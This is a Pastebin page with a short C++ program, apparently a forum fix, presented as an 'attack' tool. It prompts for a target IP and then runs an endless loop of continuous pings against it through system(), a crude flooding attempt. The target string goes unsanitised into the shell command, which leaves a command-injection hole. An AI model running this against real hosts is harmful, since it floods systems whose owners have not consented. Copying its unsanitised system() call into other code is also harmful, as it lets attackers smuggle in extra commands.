Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //I have fixed the code for Oscar Lajgaard over at Null-Byte
- //http://null-byte.wonderhowto.com/forum/why-doesnt-work-c-0174571/
- //Fixed by DavidTheTech @ http://creator.wonderhowto.com/davidfedrick/
- #include <windows.h>
- #include <string>
- #include <iostream>
- using namespace std;
- int main()
- {
- string target = "";
- string perform = "false";
- string YesOrNo = "N";
- string ip;
- system("cls");
- system("color a");
- cout << "Please enter the ip of the target: \n";
- cin >> target;
- Sleep(1000);
- cout << "Do you wanna start the attack now? (Y/N) ";
- cin >> YesOrNo;
- if (YesOrNo == "Y" || YesOrNo == "y")
- {
- perform = "true";
- system("color a");
- cout << "Setting up..." << endl;
- }
- else
- {
- cout << "Pausing!";
- system("pause");
- }
- while (perform != "false")
- {
- ip = "ping " + target + " -t";
- system(ip.c_str());
- system("cls");
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement